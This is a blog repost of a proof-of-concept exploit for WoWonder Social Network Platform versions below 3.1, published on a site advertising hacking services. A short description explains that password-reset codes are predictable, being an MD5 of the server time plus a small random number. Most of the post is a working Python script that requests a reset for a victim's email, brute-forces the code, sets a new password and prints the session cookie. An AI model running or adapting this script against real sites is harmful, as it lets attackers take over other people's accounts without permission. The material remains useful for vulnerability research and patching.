Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387358

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WoWonder Social Network Platform 3.1 - Authentication Bypass
# Date: 11.06.2021
# Exploit Author: securityforeveryone.com
# Researchers : Security For Everyone Team - https://securityforeveryone.com
# Vendor Homepage: https://www.wowonder.com/
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
# Version: < 3.1
# Tested on: Linux/Windows

'''
DESCRIPTION

In WoWonder < 3.1, remote attackers can take over any account due to the weak cryptographic algorithm in recover.php. The code parameter is easily predicted from the time of day.
The vulnerability is found the "code" parameter in password reset link. The password reset code can be estimated by combining the password reset link time and the random value generated between 111 and 999.
if an attacker exploits this vulnerability, attacker may access all accounts in WoWonder application.

ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools
'''

import requests
import email.utils as eut
import calendar, time;
import hashlib, re;

url = "http://wowonderlab:80/wowonder/" #change this with your target
myheaders = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
recoverdata = {"recoveremail": "wowondertest@securityforeveryone.com"}  #change this email with your registered wowonder email address
req = requests.post(url+"requests.php?f=recover", headers=myheaders, data=recoverdata)
b = eut.parsedate(req.headers["Date"])
respepoch = calendar.timegm(time.strptime("{0}-{1}-{2} {3}:{4}:{5}".format(b[0],b[1],b[2],b[3],b[4],b[5]), '%Y-%m-%d %H:%M:%S'))

for token in range(111,1000):
    str2hash = "{0}{1}".format(token,respepoch)
    email_code = hashlib.md5(str2hash.encode()).hexdigest()

    req_reset = requests.get(url+"index.php?link1=reset-password&code=1_{0}".format(email_code))
    if len(re.findall("New password",req_reset.text)) == 1:
        print(email_code)
        resetdata = {"password": "10711071", "id": "1_"+email_code}
        reqtoken = requests.post(url+"requests.php?f=reset_password", headers=myheaders, data=resetdata)
        print(reqtoken.headers['Set-Cookie'])
        break